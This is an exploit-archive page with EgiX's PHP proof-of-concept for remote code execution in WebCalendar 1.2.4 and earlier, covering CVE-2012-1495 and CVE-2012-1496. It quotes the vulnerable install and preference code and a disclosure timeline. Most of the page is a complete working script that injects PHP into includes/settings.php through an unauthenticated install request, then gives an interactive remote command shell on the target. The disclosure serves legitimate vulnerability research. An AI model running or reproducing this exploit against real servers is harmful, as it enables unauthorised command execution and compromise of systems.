WebCalendar 1.2.4 Remote Code Execution (PHP Exploit)

2012-04-30 / 2012-05-01
Credit: EgiX
Risk: High
Local: No
Remote: Yes
CWE: N/A

<?php /* ----------------------------------------------------------------------- WebCalendar <= 1.2.4 (install/index.php) Remote Code Executionn Exploit ----------------------------------------------------------------------- author..........: Egidio Romano aka EgiX mail............: n0b0d13s[at]gmail[dot]com software link...: https://sourceforge.net/projects/webcalendar/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] vulnerable code in /install/index.php (CVE-2012-1495) 674. $y = getPostValue ( 'app_settings' ); 675. if ( ! empty ( $y ) ) { 676. $settings['single_user_login'] = getPostValue ( 'form_single_user_login' ); 677. $settings['readonly'] = getPostValue ( 'form_readonly' ); ... 724. // Save settings to file now. 725. if ( ! empty ( $x ) || ! empty ( $y ) ){ 726. $fd = @fopen ( $file, 'w+b', false ); 727. if ( empty ( $fd ) ) { 728. if ( @file_exists ( $file ) ) { 729. $onloadDetailStr = 730. translate ( 'Please change the file permissions of this file', true ); 731. } else { 732. $onloadDetailStr = 733. translate ( 'Please change includes dir permission', true ); 734. } 735. $onload = "alert('" . $errorFileWriteStr . $file. "\\n" . 736. $onloadDetailStr . ".');"; 737. } else { 738. if ( function_exists ( "date_default_timezone_set" ) ) 739. date_default_timezone_set ( "America/New_York"); 740. fwrite ( $fd, "<?php\r\n" ); 741. fwrite ( $fd, '/* updated via install/index.php on ' . date ( 'r' ) . "\r\n" ); 742. foreach ( $settings as $k => $v ) { 743. if ( $v != '<br />' && $v != '' ) 744. fwrite ( $fd, $k . ': ' . $v . "\r\n" ); 745. } Restricted access to this script isn't properly realized, so an attacker might be able to update /includes/settings.php with arbitrary values or inject PHP code into it. [-] vulnerable code to LFI in /pref.php (CVE-2012-1496) 70. if ( ! empty ( $_POST ) && empty ( $error )) { 71. $my_theme = ''; 72. $currenttab = getPostValue ( 'currenttab' ); 73. save_pref ( $_POST, 'post' ); 74. 75. if ( ! empty ( $my_theme ) ) { 76. $theme = 'themes/'. $my_theme . '_pref.php'; 77. include_once $theme; 78. save_pref ( $webcal_theme, 'theme' ); 79. } Input passed through $_POST['pref_THEME'] isn't properly sanitized before being assigned to $my_theme variable, this can be exploited to include arbitrary local files at line 77. Exploitation of this vulnerability requires authentication and magic_quotes_gpc = off. [-] Disclosure timeline: [02/10/2011] - Vulnerabilities discovered [04/10/2011] - Vendor notified to http://sourceforge.net/support/tracker.php?aid=3418570 [20/02/2012] - First vendor response [28/02/2012] - Vendor fix committed to CVS [29/02/2012] - Version 1.2.5 released [02/03/2012] - CVE numbers requested [02/03/2012] - Assigned CVE-2012-1495 and CVE-2012-1496 [23/04/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die( "\n[-] No response from {$host}:80\n"); fwrite($sock, $packet); return stream_get_contents($sock); } print "\n+-------------------------------------------------------------+"; print "\n| WebCalendar <= 1.2.4 Remote Code Executionn Exploit by EgiX |"; print "\n+-------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /webcalendar/\n"; die(); } list($host, $path) = array($argv[1], $argv[2]); $phpcode = "*/print(____);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;"; $payload = "app_settings=1&form_user_inc=user.php&form_single_user_login={$phpcode}"; $packet = "POST {$path}install/index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; http_send($host, $packet); $packet = "GET {$path}includes/settings.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\nwebcalendar-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/____(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); }

References:

https://sourceforge.net/projects/webcalendar/


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